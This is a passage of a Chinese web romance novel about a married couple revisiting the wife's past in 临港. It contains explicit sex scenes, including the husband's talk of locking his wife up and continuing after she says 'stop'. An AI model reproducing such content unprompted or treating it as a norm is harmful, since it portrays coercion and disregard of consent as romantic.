宋时微:“那你爸呢,他有没有和你说什么。” 过去这么长时间,谢宏恺没有告诉谢屿舟关于她的事情吗?明明握住如此大的把柄,太不合常理。 谢屿舟:“没有。” 顿了片刻,男人薄唇轻启,“他是他,我们是我们,你不用刻意去讨好他。” 宋时微:“我知道。” 第二天早班机前往临港,两个人在这个无解的问题上没有聊太长时间。 谢宏恺不会改变他的不认可,宋时微也不会刻意去迎合他,矛盾搁置在那里。 南城前往临港的航程接近三个小时,中秋假期,谢屿舟不用开会。 他望着宋时微的后脑勺发呆,思考两个问题。 1、既然在临港定居,为什么她要回来? 2、她回来南城,为什么葛书韵不和她一起回? 相依为命这么久的母女,怎么会愿意分开? 最奇怪的就是葛书韵不愿意回来,一定是发生了什么重大的事,让她对南城产生了抵触心理。 宋时微回过头,刚好对上谢屿舟的眼睛,她问:“咋了?我脸上有东西吗?” “没有。” 谢屿舟反问她,“你为什么要回南城?” 宋时微微蹙眉头,思考找什么理由搪塞他。 谢屿舟看穿她的想法,打断她,“算了,敷衍我的答案我不想听,你根本不会说实话。” 男人补充道:“更别说对不起,我不想听。” 宋时微垂下头,剩余的两个小时,谁都没有再说话。 手却一直没有分开。 再一次来到临港,谢屿舟驾轻就熟,下飞机直奔【粥而复始】。 这家有一个孝顺长得帅的女婿已经是周围店铺里公开的新闻了,给丈母娘装修给丈母娘买礼品。 听说今天女儿回来,旁边的人都来看热闹。 “你女婿来了,小伙子帅得嘞。” 宋时微看到店里的人,一一打招呼,“孙姨,今天不忙吗?” 孙姨:“不忙不忙,都回去过节了。” 她坐在椅子上八卦,“微微,你是不知道,你们走了以后还有小姑娘来打听你老公,以为是你哥,抢手得很。” 宋时微附和地笑笑,谢屿舟帮妈妈端菜传菜。 俨然成为一个合格完美的女婿。 晚饭后,窗外的圆月悬在半空,又是一年团圆季,葛书韵和宋时微在主卧话家常。 许是中秋的氛围所致,容易情绪感伤,“微微,你去见过你爸了吗?” 宋时微如实回答:“没去见他,但我偶然遇到了宋振兴。” 一半真话一半假话,没有说宋振兴敲诈勒索她的事。 听到这个名字,葛书韵! 心有余悸,“他有没有为难你?” 宋时微:“他不敢的,你放心吧,我现在长大了,能对付他。” 葛书韵感慨,“这些年你跟着我吃苦了,放弃了感情和朋友。” 宋时微搂住妈妈的手臂,“没有的事,妈,你看我们现在很好,有了自己的房子,也没有什么负担了,照我说,你把店关了算了,出去旅旅游多好。” “我闲不住。”葛书韵拍拍女儿的脑袋,“我还得挣钱把老房子买回来呢。” 宋时微宽慰妈妈,“慢慢来,现在房价在跌,说不定明年就能够得上了。” 葛书韵:“叙白前几天过来了,给我送了点礼品。” 宋时微身体坐直,“妈,我们不能再要叙白哥的东西,非亲非故,承了他很多年的照顾。” 葛书韵:“我知道,我没收。” 她说:“你回头抽空去看看你爸吧,抛去之前的事,他对你尽到了父亲的责任,不然我也不会一直不离。” “好,我回去就去。” 这时,“咚咚咚”的响声响起,谢屿舟敲响房间的门,宋时微踏上拖鞋去开门,“怎么了?” 谢屿舟平淡说:“热水器没有热水。” “坏了吗?不应该啊,才换的新热水器啊。”宋时微走去浴室,放了很久还是凉水。 她又走到厨房,显示屏跳动‘f’的字样,根据说明书指示应是热水器压力不够,需要补压。 宋时微找到扳手,拧了几下,“好了,你去洗吧。” 在她转身的一刹那,谢屿舟拽住她的手腕,目光灼灼,“一起洗。” 宋时微瞪大眼睛,指了指主卧的方向,“不是,我妈还在。” 可巧不巧,葛书韵在房间喊,“微微,我睡了,你不用过来了。”???x 宋时微:“好的,妈。” 谢屿舟摊开手臂,挑了下眉头,“走吧。” 宋时微蹑手蹑脚走进浴室,极轻地关上门反锁,用气声说:“你要是做动静轻点。” 结扎的最大好处也是最大的弊端是,用不到避孕套。 明知道妈妈在主卧不会出来,浴室离得远,中间隔着两堵墙和长走廊,正常说话不会被听见,心里仍会紧张,总感觉哪里奇奇怪怪。 第 42 章 高烧[VIP] 女生像一阵风一样,直接跑到宋时微怀里,搂紧了她。 宋时微不用看脸,都能猜到是谁,笑着说:“阚晴岚,你怎么还是没变啊?” 阚晴岚松开她,整理整理头发,“哎呀,你也太快认出来我了吧。” 和以往一样,她挎住宋时微的胳膊,亲昵地靠在她的身上。 宋时微不得已放开谢屿舟的手,承受朋友的热情,“因为除了你,没人会往我怀里钻。” 三个人站在学校入口的主干道处,香樟树的枝桠随风摆动,阳光从树叶的罅隙落下。 临港一派夏季光影,尚未入秋。 阚晴岚拉着宋时微问问题,沿着道路随便走,就像大学时候。 “你怎么舍得回来了?” “我还以为你不会回来了。” “你走得悄无声息,我去你家店里找你,阿姨和我说你去南城上班了,你去南城为什么不和我说,那我报南城的事业编就好了,为什么阿姨不和你一起去?” 阚晴岚絮絮叨叨,持续问句输出,不给宋时微插话的机会。 终于一长串的问题结束。 宋时微摁了摁眉心,被人拖着朝前走,“你让我想想从哪里回你,耳朵要炸了。” 阚晴岚:“那你慢慢想。” 谢屿舟跟在她们身后,听她们聊天对话,试图从中获取到有用信息。 这是一个很不错的机会,他故意落在后面,假装回工作信息,让宋时微放松警惕。 阚晴岚问:“梁景翊去南城找你了,你见到了他吗?这么多年他还真是阴魂不散,你不考虑下他吗?” 宋时微困惑道:“你怎么知道的?” 阚晴岚掏出手机,点击朋友圈,“他发了,什么与过去说拜拜,什么爱而不得,一副苦大仇深、青春疼痛文学的样子,幼稚。” “我不怎么看朋友圈,请他吃顿饭他就回去了。” 宋时微转头问:“你中秋节没出去玩吗?” 她了解阚晴岚的家庭身世,亲缘关系浅薄,团圆的节日和她无关。 阚晴岚:“不想人挤人,你不在也没人收留我,阿姨那里我不能天天去啊。” 两个女生聊得热火朝天,完全忘记身后的男人。 走了一截路快到操场,阚晴岚才注意到身后跟着的男人,小声询问:“他为什么一直跟着我们?变态跟踪狂还是喜欢你的人?光天化日,朗朗乾坤就有了吗?” 不怪她,之前出过这种事,加上她全部的注意力集中在宋时微身上,即使旁边站着一个长相俊美的男人。 她完!全!看!不!见! 因为她只在乎宋时微。 宋时微介绍道:“这是我老公,谢屿舟。” 驻足脚步,等谢屿舟走过来向阚晴岚介绍,“我大学室友阚晴岚,留校了。” 谢屿舟颔首示意,表示认识。 阚晴岚震惊得没控制住声音,“你老公!!!” 她的眼睛在两个人脸上来回审视,郎才女配般配,但这一天的! 重磅消息太多,她要捋一下。 “宋时微,你藏得太严实了点,结婚都不告诉我,婚礼也不邀请我,毕了业就生疏了,唉。” 宋时微摸摸她的脑袋,像在安慰小朋友,“结得匆忙,婚礼还没办,我要是办婚礼,肯定找你做伴娘啊。” “这还差不多。” 阚晴岚拉住宋时微,小声说:“极品啊,那我刚刚的话岂不是被他听到了。” 宋时微:“他见过梁景翊没事。” 阚晴岚偷偷瞄一眼谢屿舟,长相端正,气质斐然,配她的朋友刚刚好,“难怪你上大学的时候谁都看不上,要我我也看不上。” 宋时微藏在衣袖下的手捏成拳头,面上不显,“大学不熟,没什么联系。” 阚晴岚:“我还以为你回南城是专门找他的呢。” 专门?找他! 宋时微眼眸微动,急忙岔开话题,“留学校的感觉怎么样?” 她的小表情小动作尽数落入谢屿舟的眼里,七年过去,下意识的习惯仍没有改变,一心虚眼珠会乱瞟,说话声音会飘。 当然,表现不明显,只有有心之人才会注意到。 阚晴岚:“还不错,正好我请你和你老公吃饭,我问问无名饭店开门了吗?” 旋即联系饭店的老板,得知节日没有休息,三个人向西走,绕到学校的后门。 一路上,阚晴岚不停分享学校发生的事,“学校附近每家的煎饼摊和你的比差远了。” 宋时微:“那是你吃习惯我做的了。” 阚晴岚低下脑袋,轻声八卦,“他挺有钱哈,衬衫看着就价值不菲,满脸写着‘有钱人’三个字。” “还可以。”宋时微:“你不是不关心男生的穿搭。” “我是不关心,作为你的娘家人我肯定要把关。” 阚晴岚:“而且他这通身气质,想不注意都难,这苍蝇小馆配不上你了,我应该带你去市里的五星级酒店。” 宋时微笑着回:“浮夸。” 任谁想不到,刚上大学的阚晴岚说话声音很小,性格唯唯诺诺,现在完全大变样。 谢屿舟今天不参与宋时微和朋友聊天,做一名合格的观察员和倾听者。 和朋友在一起的她,更轻松自在,找回了七年前的影子。 阚晴岚:“不过你对象他吃这种小店吗?看到他我莫名想起短剧里的霸总。” 宋时微心想,可不就是,而且还有胃病,更符合了,“他就一普通人,你别想太多。” 后门有一条小吃街,苍蝇小馆没有环境,老板娘对宋时微很熟悉,看到她热情打招呼,“微微来了啊,随便点,丽姨请你。” “不用的,丽姨。”都是小本生意,挣得是辛苦钱。 丽姨:“你妈妈身体还好吧。” 宋时微:“挺好的。” 丽姨:“那就好,你们先看着,我去忙。” 宋时微和阚晴岚没有过多提及学校的事,更多聊现状。 阚晴岚有娘家人的自觉,“你老公是做什么的呀?” ! 宋时微随口一说,“开了家小公司。” 她一抬头,看到门口出现的人,吓了一跳,“梁景翊怎么在这?” 阚晴岚弱弱举手,“可能是我一激动,发了条朋友圈,他根据那个找来的。” 梁景翊像回到主场,拉开椅子坐下,“他怎么也在?” 阚晴岚睨他,“你在这才奇怪好吧,人家合法夫妻,来看丈母娘。” “哦。”梁景翊斜倚靠在扶手上,胳膊架在椅背,面向谢屿舟,“我的建议你真不考虑吗?谢总。” 谢屿舟卷起半截衣袖,悠悠倒茶水,“我考虑和你哥说,把你扔到海里喂鲨鱼。” 唯一一个不知情的阚晴岚,疑惑问:“什么建议?” 宋时微难以启齿,不是正常人会想到的东西,梁景翊却脸不红地说出来。 阚晴岚唾弃他,“世风日下,现在知三想当三是一点都不装了啊。” 梁景翊:“那咋了,我都不介意做小。” 新中国思想解放的时候,把他漏下了,不对,是太超前了,他敢说,阚晴岚都不敢听。 有了梁景翊,整顿饭不再安静,天生的话痨,谁都捂不住他的嘴。 趁阚晴岚不备,宋时微悄悄扫码买了单,多付了点钱,在她们刚到临港时,多亏了好心人的照顾。 她们两个女生去旁边逛街,谢屿舟单独找梁景翊,面色凝重说:“聊聊。” 梁景翊:“好。” 谢屿舟和他不拐弯抹角,直截了当问:“微微大学做了多少兼职?” 梁景翊抱起双臂,“你问她啊,我是不可能透露的,除非你答应我的建议。” 谢屿舟眸色变暗,凛声道:“她不是物品,不能共享更不能让。” “那就无可奉告了。” 梁景翊敛了吊儿郎当的态度,站到谢屿舟的对面,和他直视,正经说:“她如果想告诉你自会和你说,她不说,说明她不想让你看到她脆弱的一面。” “当不知道不就好了,调查清楚又能改变什么呢?事情都发生了不是吗?何必再问呢。” 谢屿舟发觉,他小瞧了梁景翊,这人比他想得要通透。 “好了,我有事先撤了,不想看见你。”梁景翊的眉心闪过一丝落寞,留下一句话,就离开了。 “她过得开心幸福就好。” 阚晴岚下午突发有事情,被学校叫走,宋时微带着谢屿舟继续逛校园。 两个人走在绿荫小道,在湖边亭子歇息。 看野鸭在湖中心嬉戏打闹。 谢屿舟看向碧绿的湖水,佯装不经意问:“你没和我说过你大学的事情。” 没有他的存在,她在大学过得依然很开心,交到了知心的朋友和邻居,考上了研究生。 只要她过得好,挺好的。 宋时微趴在栏杆处,手指顿住,两只手搅在一起,“没什么特别的事,天天三点一线的上课,下课后做做兼职,帮下我妈的忙。” “你很缺钱吗?” 谢屿舟偏头看她的侧脸,便于随时把控她的表情。! 根据今天收到的几份信息,拼凑了事情的大致轮廓,刚入学做兼职,后来开小摊, 他记得她家里条件中等,不算穷,不需要这么辛苦。 宋时微坦然笑笑,“没有,社会实践,毕竟我们要学市场营销和广告,兼职是锻炼的机会,谢总应该也做过实践类课程吧” 谢屿舟盯着她的眼睛,“做过。” 宋时微抬头看了眼日头,“你热不热?要不要回去?临港和南城不一样,夏季很长。” 长到似乎从七年前的谢师宴开始,直到现在仍未落幕。 最难过的日子已经过去了,人是不会让喜欢的人看到她最狼狈的样子。 谢屿舟:“走吧。”等她愿意开口的那一天吧。 行至半路,晴空万里,落下骤雨。 她们没有带伞,宋时微牵着谢屿舟的手,奔跑在雨里,“快跑。” 手牵手踩了一路的水花。 谢屿舟看她的身影,恍惚回到七年前。 大雨没有停止的迹象,到学校门口有不短的距离,宋时微望望四周,拉住他跑到附近的一幢房子下躲雨。 “临港就是这样,说下雨就下雨。” 宋时微的头发被雨淋湿,衣服粘在身上,她却不恼,伸手去接水玩。 谢屿舟望着她的侧脸发呆,这次完全与七年前重合。 他第一次想亲她,同时察觉到自己喜欢她,也是在一个雨天。 她和他碰巧都在巷子里的屋檐躲雨。 周围有不少同学抱怨怎么回去,只有她在玩水,蹲在地上把误闯入的小猫抱在怀里。 “谢屿舟,我们来赌雨什么时候停?输的人学猫叫。” 雨珠连成线,顺着房檐滑落。 同样的话,谢屿舟一时分不清现在的是七年前还是七年后。 宋时微的眼睛明亮,嘴角上扬,“谢总不敢赌了吗?” 他之前可是输了,可惜啊,旧手机不见了,学猫叫的音频丢失了。 下一秒,谢屿舟低头含住她的唇,“别动。” 男人揽住她的腰身,“亲到雨停。” 让时间暂停吧。 不知道是雨声还是心跳声,在宋时微的心脏上泛起了涟漪。 一圈又一圈。 天公为他们伴奏作美,今天的雨格外漫长。 临港浪漫的雨中吻带来的后遗症是谢屿舟感冒了,同样淋了雨,她什么事都没有,他却生了病。 幸亏现在不是疫情,否则都要拉去隔离。 第 43 章 第43章 天旋地转之间,宋时微变换了位置,眼前的景象从天花板,变成了春辰色的被褥。 女人的两只手撑在两边,磕磕绊绊道:“我什么?” 天花板的顶灯闪烁耀眼,投下暖白色的光,反射在他的皮肤上,白得骇人。 谢屿舟的喉咙干涩,又疼又痒,男人咳了一声,艰涩开口 ,“你动。” 即使换了方向,始终相连,一直未分开。 宋时微不敢妄自行动,只坐着,“你发烧40c,你能悠着点吗?七年都过来了,还差这三天吗?” 男人低沉的嗓音夹着无奈,“差。” 为什么生病的他和孩子似的?非常不听话, 宋时微和他讲道理,低头望着他,声音缓和,“医生说让你休息,而且刚刚已经做了一会,解馋了吧。” 谢屿舟突然唤了她的名字,“宋时微。” “啊?怎么了?”宋时微想离开他的身体,奈何他的力气太大。 他的手掌用力向前,她直接倒在他的身上。 心跳加速,高温预警。 谢屿舟牢牢箍住她的腰,宽大的手掌把玩她的软肉,掌心温度偏高,她仿佛被火炉包围。 男人的手钳住宋时微的下巴,逼迫她抬头,低头俯身去够她的嘴巴,“看着我。” 四目相对之下,男人浓黑的眼睛紧紧锁住她的眼睛,让她动弹不得。 谢屿舟缓缓开口,“我在国外的时候,天天想,哪天见到你,一定把你关起来,一直做,做到你下不了床,让你再也跑不了。” 宋时微:??? 他是不是烧糊涂了?在说什么疯话。 男人薄唇轻启,炙热的气息悉数洒在她的脸上,挠得她脸好痒。 “把这七年欠的都还回来。” 一句接着一句,是清醒的谢屿舟说不出来的语言,宋时微被震惊住,定在原地,心脏说不出什么滋味。 她垂下眼睫,不敢直视谢屿舟,同时,双臂抱住他。 宋时微心里泛起一阵阵涟漪,出于本能,不自觉夹住。 谢屿舟不想看她愧疚难过的表情,没有任何意义,“算了,我自己来。” 他再次掐住她的腰,扶她坐正。 男人的肱二头肌持续运作,墨蓝色睡衣掩不住绷紧的肌肉,蕴含莫大的力量。 泛红的眼睛里夹杂一丝狠意,粗粝的指腹摩擦生热。 宋时微意识涣散,满脑子只有四个字“好累好累。” 力的作用是相互的,她想起大学做的兼职。 捣柠檬。 此刻她仿佛是杯子里柠檬。 …… 终于,柠檬汁榨好了。 宋时微无力地趴在谢屿舟的身上,下巴垫在他的胸前,仰起眼睛看他。 浓密的睫毛、高挺的鼻梁、墨黑的眼睛,透着淡粉的嘴唇,从脸颊蔓延到脖颈的红。 敛去了平日的冷淡和锐利。 两个人的呼吸缠绕在一起不分彼此,胸脯剧! 烈震荡。 她像在闷热的盛夏季节里进行了一场马拉松比赛,全身被汗水浸湿,呼吸变得急促。 男人说:“别看我,我会忍不住。” 宋时微嘟囔,“你也没忍啊。” 事实证明,他不想忍,更不愿意忍,又开始了。 整晚吱吱呀呀和床同频共振。 连带她都像是发了一场高烧,出了一身的汗,头发粘在额头。 宋时微忍受不了黏糊糊出了汗的身体,谢屿舟又睡了过去,她强忍酸痛,裹紧睡裙下床。 她拍拍谢屿舟,“你醒醒,我换个被单和衣服。” 男人总算乖巧没有不耐,老老实实站在一边。 整条被单仿若倒了一盆水在上面,比往日分量要足。 宋时微又牵着谢屿舟走去浴室,换下他汗湿的睡衣,擦干他的身体。 忙完这一切,她有空收拾自己。 宋时微在干区脱掉衣服,腰间的红印明显突出,十根指印焊在上面。 男人似乎是永动机。 三次!整整三次! 宋时微佩服自己,竟然有力气做这么多事,难怪当初一整夜缠绵过后,她先醒来能逃跑。 回到卧室,第一时间摸摸谢屿舟的额头,还在烧着。 男人下意识捞住她,揽在怀里,心满意足睡着。 闹钟准时响起,宋时微手拉住被子蒙住脑袋,好困。 十分钟后,她强撑身体爬起来。 旁边床铺没有谢屿舟的身影。 宋时微急忙跑出去,喊道:“谢屿舟。” 当时他是不是也是这个心情,恐怕比现在更糟糕。 男人正在衣帽间换衣服,看到她脸上着急不掩饰的神情,眉宇间动容,“不多睡一会儿吗?” 宋时微收了脸色,“不了,要上班,你烧退了吗?” 她为自己刚刚的举动辩解,“我担心你,是因为万一你出事,说是我害的你。” “行。” 谢屿舟打横抱起她,眉峰凛冽,“鞋子是被吃了,所以才忘了穿。” 宋时微察觉到她的漏洞百出,只顾找他,竟然忘了穿鞋,难怪觉得冷,“我正好找鞋顺便找你。” “找得真好。” 谢屿舟嘲讽她,拙劣的借口,他在床边看到了鞋子,握住她的脚踝,套上拖鞋。 宋时微踏上鞋子,去衣帽间换衣服,“你没听过吗?远在天边近在眼前。” 大清早就要和他拌嘴,费精力。 宋时微穿衣服都提不起劲,胳膊好像是后天装上去的,两条腿更是酸疼。 胡闹的结果是她需要穿高领的衣服,幸好现在是秋天,又降了温,方不会违和。 男人倚靠在梳妆台前,定定看着她换衣服,看到她身上的印子,忽而想起一件事。 “我没忘,昨晚我说的话是真的。” 谢屿舟虽说退了烧,嗓子还没好,他的手握成拳头抵在嘴边,咳了两声。 男人抬起长腿,走到宋时微身旁,凑到她的耳边强! 调,“等放假我就把你关进别墅,做七天七夜。” 宋时微的耳朵爆红,转头瞪他,“那你也没做到,被单上都是水,也是我换的,我还给你换了衣服擦了身体,你就是大爷,等着我伺候。” 谢屿舟:“你还有这么多精力,难怪七年前跑那么快,看来做得不够多。” 宋时微:“谢总,我看明明是你不行,每次做完倒头就睡,18岁就虚,现在更虚。” “是吗?”谢屿舟一步一步挨近宋时微,虚虚掩在自己怀里。 宋时微身后是柜子,退无可退,她仰起头,斥责道:“谢屿舟,你不要乱来,我要和你聊聊。” 谢屿舟颔首,“好,聊什么?边做边聊。” 宋时微曲起膝盖,“不要,我今天还要上班,没精力陪你做。” 谢屿舟的手摁在她的膝盖上,摁了下去,大腿挤进她的两腿之间,漆黑的眼睛像看到猎物的雄狮,“又想踢我,踢坏了你用什么?” 他这动作显然是要做,而且不达目的不罢休。 宋时微怼他,“你这又不是不可替代品,能用的多了去了。” 谢屿舟幽幽道:“比如,红杏出墙?” 宋时微:“你不要侮辱人。” 谢屿舟意味深长地勾起唇角,“哦,难道是小玩具吗?” 像被人发现戳穿了秘密,宋时微迅速否认,“没有。” 谢屿舟:“那你这七年怎么过的?” “我又没那么大需求,随便过。”宋时微用力推开他,“懒得和你说,迟到又不扣你钱。” “我们公司迟到不罚钱。” 不仅如此,公司还设立了弹性打卡制度,充满人文关怀。 谢屿舟不让她离开,反而问她,“你知道我怎么过的吗?” 宋时微捋了捋头发,佯装不在意,“你还能怎么过,要么自己忍,要么找py,谢总你想找什么样的没有啊。” “没有人会睡了我就跑。”谢屿舟趴到她的耳边说了一句话。 宋时微听完他的回答,涨红了脸,他怎么能这样,这人现在愈发无耻,“你不要脸。” 谢屿舟似笑非笑说:“又不是真的弄到你脸上。” 沉默须臾,宋时微的眼眸弯了一个漂亮的弧度,“谢总,你想吗?还可以弄到胸上、锁骨和肚子上,布满整个身体,都是你的味道。” 她故意舔了下唇,唇上泛起潋滟水光,冲他吹了一口气。 这下轮到谢屿舟脸红,说不出一句话。 “原来谢总只敢说不敢做啊。”宋时微太了解谢屿舟,他骨子里是纯情的人,有偏执但不多。 谢屿舟箍住她的手腕,质问她,“宋时微,你都从哪里学的?” “不告诉你。” 宋时微故意卖个关子留个话茬,“我要去上班了。” 下车之前,她又添油加醋,拽住谢屿舟的领带,“对了,还可以放奶油、水果和冰块,冰块含在嘴里舔。” 谢屿舟:……想骂人! 她怎么会那么多,知道的这么多。 ! 宋时微垂眸,狡黠笑着说:“谢总,小帐篷搭好了啊,好经不起挑逗。” 谢屿舟不甘于落下风,扣住她的手,“你放心,今晚开始实践。” 整个上午,宋时微的眼皮耷拉下来,多亏冰美式强撑,一晚上的运动加早上的吵架斗嘴,她活脱脱是一个怨气鬼。 终于挨到中午,她一脑袋趴在桌子上,不想起来,“心心,我太累了,我先去睡觉,睡醒了再吃。” 宋时微在心里问候谢屿舟八百回,早上还不够,应该再多说点,让他硬死,又不能做。 乔言心:“那你快去睡觉。” 她一个人吃饭,不想去商场,选择在食堂对付一口。 到了饭点,孟新允问:“谢总,您中午想吃什么,我来定。” 谢屿舟思索数秒,搁下钢笔,“去食堂。” “好的。”孟新允都懂,这是想偶遇老板娘。 谢屿舟的感冒没有完全好,他戴上口罩,在食堂里来回扫视,没找到宋时微,只看见乔言心。 于是,顺理成章在乔言心同一排的位置坐下。 谢屿舟咳了两声,孟新允接收到老板的指示,问乔言心,“咦,怎么就你一个人?” 乔言心没注意到戴口罩的老板,“微微太困了,在睡觉。” 孟新允起身去买了一瓶饮料,“请你喝。” 乔言心:“谢谢孟助。” 谢屿舟又咳了两声,将手机递到孟新允眼前,孟新允问:“那她中午吃什么?” 乔言心咬住筷子,年纪小藏不住心事,“孟助,你不会真的喜欢微微吧,她有老公的,这涉及到她的隐私,我不能细说,但我能看出来她和她老公感情很好,你不能做破坏道德的事。” 听到感情很好几个字,谢屿舟几不可查地扬起眉峰。 而一旁的孟新允感觉后背发凉:给他一百个胆他也不敢破坏老板的家庭啊,这个谣言算工伤吗? 第 44 章 第44章 谢屿舟一直牵紧宋时微的手,她的手由温热转为冰凉,甚至冒出冷汗。 直到坐进车里,她仍然闷闷不出声,眼睛看向窗外。 秋季,梧桐树变黄落叶,一片树叶旋转落到地上。 在临港多年,几乎见不到梧桐树,南城的梧桐又高又密,尤其是秋冬天落叶,无边落木萧萧下。 谢屿舟望向她圆圆的后脑勺,“你想吃什么?我喊人送上门。” 宋时微的反应慢半拍,她没有转头,喃喃问:“想吃很多东西,都可以吗?” 谢屿舟: “可以。” 原本开车出来是想带她去别的地方玩,现在她想回家。 她说的是‘回家’,他和她的家。 谢屿舟点了川菜、粤菜、小吃和甜品,把能买到的食物都买了一个遍,尽数送上门。 玲珑剔透、色彩缤纷的美食摆满了餐桌。 宋时微的食欲没那么大,每一样浅尝了几口。 果冻和布丁过来蹭她的裤腿,“喵呜喵呜”叫个不停,安抚了她难过的情绪。 是啊,都过去了。 胃是情绪器官,心情好点能提升食欲,不知不觉多吃几口。 偌大的房子里安安静静,小猫的叫声能治愈人。 谢屿舟不似平时一般追问,坐在她的对面,骨络分明的手指在为她剥虾,小小的碗里盛满了拆开的蟹肉、虾肉,还有去了骨的排骨。 宋时微吃饱了,双手撑在下巴处,看着对面的男人,修长的指节被手套覆住,在上下的行动中筋络时隐时现。 他的手刚好可以包裹住她的手,一直给她提供后盾。 突然,宋时微冒出一句,“谢屿舟,我想做。” 她的语气平淡,平淡到仿佛在说外面出太阳了,仿佛在说她想喝水。 没有掺杂欲望和情绪。 看到男人喉结滚动,看到他漆黑的眼睛,以及白皙脖颈,没有经过大脑思考,说出内心的想法。 情欲就是这样,来的猝不及防。 谢屿舟手指悬在半空中,扔掉手套,身体向后靠了靠,黑眸锁住她的眼睛,试图想看出她在想什么。 “你把我当安慰剂还是按摩.棒?” “想睡就睡,想做就做。” 第一回开口有勇气,等到第二回便没了意思,宋时微站起身,收拾残局,“不做算了,矫情。” 谢不做屿舟:……他矫情? 宋时微索性连桌子都不收拾,去水吧台洗了手,仰面躺在沙发上。 /:. 她盯着一处看,说不清楚在看什么,好似什么都没看,眼皮向下垂,吃饱容易犯困是真的。 这场觉睡得并不安稳,梦里她回到了七年前,回到了被众人指责的那天。 她不明白,为什么她只是一个晚上没有回家,家里却发生了翻天覆地的变故。 爸爸不见了,把家里值钱的东西全都带走了,外婆高血压危急,还有一堆人守在她家门口。 “都怪你! ,要不是你们,我也不会相信他。” “都是你们气的,不然妈怎么会去世。” 从四面八方而来的谩骂声充斥她的耳朵,一双双手推她和她的妈妈,她们倒在了地上,被一圈人围着骂。 画面一转,她坐在门口的咖啡厅里,对面是谢宏恺,“宋小姐,我希望你永远不要出现在屿舟的面前,你和他不是一个层级的人,难道你想他和你一样挤在80平的房子里,为下个月的房贷车贷烦恼吗?难道你想看他一辈子只是一个小职员吗?35岁被裁员去送快递送外卖吗?” 18岁的她无法反驳,说相信他,即使没有家庭他也能闯出一番天地。 可是,她不想看他从头开始,高高在上的天之骄子,永远待在上面就好。 当他们为柴米油盐酱醋茶烦恼的时候,爱情会在生活里消磨殆尽,她不想听到他说,“我真后悔和你在一起过。” 谢宏恺看出她的松动,掏出一张支票,“不要再纠缠屿舟,这笔钱就是你的。” 宋时微瞄了一眼支票上的金额,七位数可以解她的燃眉之急,她最终偏开视线,不卑不亢回答:“我想你误会了,我和他只是普通不熟的同学,我不喜欢他。” 当天下午,她和妈妈坐上了南下的绿皮火车,火车晃晃荡荡,车厢里气味难闻,还有呼噜声。 因为钱不够,只买了一张硬卧,她让妈妈先睡,而她毫无困意,盯着窗外漆黑的夜发呆。 放在包里的手机持续震动,全是谢屿舟打来的电话,她没有接通没有挂断,任由屏幕不断显示,直到电量耗尽。 从她做出离开南城的决定开始,注定她和他再无可能。 或许本来就没有可能。 临港,对她而言一座陌生的城市,到站的第一件事,她办了一张新的手机卡,注销所有的社交账号,旧手机卡扔进了下水道。 至此,无人知道她们去了哪里。 生活对18岁的宋时微来说,是残忍的,一夕之间失去了很多,幸好还有妈妈,幸好还有学上。 “时时,时时。”熟悉的沉稳的男声在她耳畔不断响起,一直轻声唤她。 是谢屿舟来找她了吗? 宋时微睁开眼,猛然抱住谢屿舟,像溺水的人终于找到了一根浮木。 谢屿舟拍拍她的背,“时时,你怎么了?” 宋时微摇了摇头,“没事。”还好她没哭,不然他一定会猜怎么了。 谢屿舟:“去床上睡觉。” “不睡了。”宋时微搂紧他,“想做。” 再忍再拒绝就不是男人了,谢屿舟的手上移扣住她的后脑,薄唇亲上去。 宋时微边回应他的吻边解开他的衬衫纽扣,嘴里嘟囔,“我要用冰块。” 现在的她需要极致的愉悦来补缺梦里失去的东西。 当时用冰块觉得自己要死了,事后会怀念这种濒临窒息的感觉。 谢屿舟眼神晦暗,“那你今天不准喊停。” 他和她一起站起来,两个人边亲边走去厨房拿冰块。 谁都不愿分开。! 短短的一截走路的撕扯中,衬衫纽扣不知道蹦掉几颗,她的系带衬衫耷拉早已看不出原来的样子。 谢屿舟将宋时微摁在冰箱上亲,打开另一扇冰箱门,拿出冻好的冰块,还有刚刚放进去的蛋糕。 宋时微秒懂蛋糕是用来做什么的。 “清洗一下。” 谢屿舟抽出干纸巾沾满水,放在一旁。 宋时微被沙发绊倒,跌坐在沙发里,谢屿舟抽出裤子皮带扔在地上。 “窗帘没拉。” “没事,单面玻璃看不见。” 谢屿舟解开金属扣,“下次别穿牛仔裤,麻烦。” 撕又撕不掉,脱又难脱,影响做事,不如裙子方便。 男人在沙发缝隙摸出一根发带,直接系在宋时微的手腕上。 她用牙咬他的胳膊,“你的癖好就是绑我吗?” 谢屿舟打上一个死结,“一会你也可以绑我。” 在最原始的欲望中,人往往遵循本能。 谢屿舟强硬命令,“自己分.开.腿。” “然后,放到我的肩膀上。” 此刻下午两点,一天中日光最盛的时候,光线强到她甚至能看见他的毛孔。 听到谢屿舟磁性充满蛊惑的声音,宋时微乖乖照做。 季节已迈入秋天,尚未供暖,即使是夏季,碰到冰块会本能地激灵,更不必说现在。 舌头的柔软和冰块的冷意交织在一起,感知力成倍增加。 旁边的茶几上放着一盒冰块。 然而戛然而止,谢屿舟问:“你从哪里学到这些的?” “你快给我。” 宋时微亟待填补内心的空缺,现在如隔靴搔痒,钓起了胃口,却不给她吃。 谢屿舟勾起唇角,“乖乖,你告诉我,我就给你。” 宋时微抿了下嘴唇,“小说里。” 明知道她在等他,谢屿舟仍不疾不徐问:“你自己玩过这里吗?” 宋时微顶着羞赧的脸,“玩过。” “玩给我看。”谢屿舟提了一个无理的要求。 宋时微拒绝,“不要。” “乖~”男人表面是商量的 口吻,实际却握紧她的右手,放了上去。 宋时微触碰到,捏了几下,“就是这样。” “不好玩。” 自己摸上去就像左手摸右手,几乎没有特别的感觉,由俭入奢易,由奢入俭难。 谢屿舟提起裤腿,单膝跪地,嘴里含了一个冰块,“我和你哪个让你更舒服?” 宋时微咬紧下嘴唇,闭口不答。 男人催促道:“怎么不回答?” “唔~”舔也不耽误他问问题,宋时微:“不告诉你。” 骤然间,她仿佛失去了知觉。 宋时微大脑一片空白,“你。” 谢屿舟张弛有度,“时时真乖。” 宋时微补充一句,“才怪。” “说谎可不是好习惯。” 为了惩罚! 她的不诚实,谢屿舟想尽办法折磨她,手里又拿了一个冰块。 又是这种濒临死亡的感觉,蓦然缺氧。 宋时微的眼尾滑下眼泪,喊道:“谢屿舟,停下。” 谢屿舟嘴里含糊不清,“今天没有喊停的机会。” 对彼此太过熟悉,什么时候爆发完全在他的掌握之中。 趁着尚未来临,谢屿舟站起身。 “堵都堵不住。”不断蔓延。 “河水泛滥。” 秋雨连绵不绝,少见艳阳日,水库里充盈了雨水,这个冬天不会干涸。 